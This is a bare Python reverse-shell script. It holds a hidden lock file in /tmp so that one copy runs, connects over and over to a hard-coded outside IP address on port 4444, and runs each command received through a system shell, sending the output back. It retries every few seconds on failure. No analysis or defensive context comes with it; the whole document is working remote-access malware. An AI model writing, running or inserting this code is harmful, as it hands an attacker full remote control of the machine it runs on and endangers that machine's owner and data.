import socket, subprocess, time, sys, os, fcntl
LOCK_FILE = "/tmp/.sys_core.lock"
try:
    fp = open(LOCK_FILE, 'w')
    fcntl.flock(fp, fcntl.LOCK_EX | fcntl.LOCK_NB)
except IOError:
    sys.exit(0)

SERVER = "84.8.219.196"
PORT = 4444

while True:
    try:
        s = socket.socket()
        s.connect((SERVER, PORT))
        while True:
            cmd = s.recv(1024).decode()
            if not cmd or cmd.lower() in ["q", "quit", "x", "exit"]:
                break
            try:
                res = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
            except Exception as e:
                res = str(e).encode()
            if len(res) == 0:
                res = b"[+] Executed\n"
            s.send(res)
        s.close()
    except:
        time.sleep(5)